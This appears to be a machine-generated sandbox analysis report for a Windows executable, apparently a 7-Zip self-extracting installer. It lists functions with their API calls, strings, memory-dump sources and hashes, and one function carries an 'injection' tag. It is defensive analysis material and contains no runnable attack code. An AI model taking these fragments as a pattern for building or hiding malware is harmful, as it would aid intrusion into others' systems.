Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

IMAGES, xrefs: 0040232E
STATIC, xrefs: 004022F3

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.MSVCRT ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT(?), ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000298), ref: 00408BA6
ResumeThread.KERNEL32(00000298), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264

Strings

%%T/, xrefs: 00404216
%%T\, xrefs: 004041D8

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F

Strings

%%S/, xrefs: 004042D1
%%S\, xrefs: 00404293

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA

Strings

%%M\, xrefs: 0040434E
%%M/, xrefs: 0040438C

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,0041EA30,00000001,0041EA30,0041EA30,00000001,?,00000000), ref: 00405A1E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A80
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Strings

;!@InstallEnd@!, xrefs: 00405A53
;!@Install@!UTF-8!, xrefs: 00405A39

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 07acdaa2a4fb6a660e9b007d09802e737d764b990db71bbf7c3e87babd82aa2f
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 07acdaa2a4fb6a660e9b007d09802e737d764b990db71bbf7c3e87babd82aa2f
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A74
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A7C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A8B
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A93

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
